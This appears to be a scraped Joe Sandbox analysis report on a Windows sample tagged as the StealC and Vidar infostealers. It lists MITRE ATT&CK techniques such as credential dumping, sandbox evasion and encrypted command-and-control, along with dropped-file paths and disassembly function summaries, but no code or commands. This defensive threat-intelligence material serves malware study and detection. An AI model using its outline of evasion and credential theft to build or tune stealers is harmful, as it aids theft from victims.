Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGHJEBKJEGHJKECAAKJK

C:\ProgramData\EHDBGDHD

C:\ProgramData\FBFCGIDAKECGCBGDBAFI

C:\ProgramData\IDAAFBGDBKJJJKFIIIJJJECAAE

C:\ProgramData\IDHCGDAF

C:\ProgramData\IIEBKJECFCFBFIECBKFBKJKFBG

C:\ProgramData\KJJECGHJDBFIJJJKEHCB

C:\ProgramData\KJJJDHDGDAAKECAKJDAEGCBKEH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00589860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 005745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 0057BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00584910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00574880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00589C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00577710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00580250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00575100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre